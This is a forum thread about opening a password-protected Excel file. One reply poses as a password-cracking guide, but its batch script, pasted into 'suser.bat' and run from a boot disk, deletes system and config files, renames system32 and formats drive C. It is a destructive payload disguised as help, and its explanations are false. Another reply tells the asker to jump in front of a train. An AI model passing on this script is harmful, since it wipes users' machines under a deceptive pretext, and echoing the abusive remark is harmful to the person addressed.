If it is not PW protected

by w2ktechman In reply to How will i remove or open ...

you can open it with Excel, Open Office, or other program.

If you are asking to Crack a password in an Excel file, here is some much needed info. Right from Scummies tips and tricks of cracking :)

Sorry, I had forgotten about this since I have not used it in a long time. But I just tested it and yes, it is still unpatched by MS. This does not work with Open Office, so you must obtain an actual MS Office suite.

To crack into a password protected Microsoft Office Document you will need a few tools.

Microsoft Office Suite
Ability to comprehend a command console
Ability to create a batch file

Open the Office document, Excep File, Powerpoint file, Access DB, or visio file.
At the password prompt type 13 random characters. DO NOT TRY TO GET INTO IT YET!
It needs 13 characters in the box for the next steps to work properly.

Now you will need to alter a system file. Open windows explorer and navigate to c:\Windows\Repair\
find the file called 'sam'
rename the file to 'samrecover'
This will reset some of the security accounts on the system, to allow you to make changes to the password protection system in Office.

Now you need to create a bootable floppy, cd, or flash drive.
reboot for the permissions to take effect.
Now create a batch file
On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
format c /Q /A:4096
rem RESTART _admin.pwd

Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.

How will i remove or open a excel file without password

by Bizzo In reply to How will i remove or open ...

To remove the file:
In explorer, right click the file, and select delete. This will remove the file.

To open the file:
Open excel, click File -> Open, navigate to the location of your file, and click open.
Alternatively, in explorer, double click the file. Both methods will open the file.

If the file is actually password protected, then ask the person who owns the file for the password. If you're supposed to have this file, then I'm sure they'll freely give you the password. If you obtained the excel file by other means, then go jump in front of a train and stop trying to access information you're not supposed to.

Have a nice day. :)
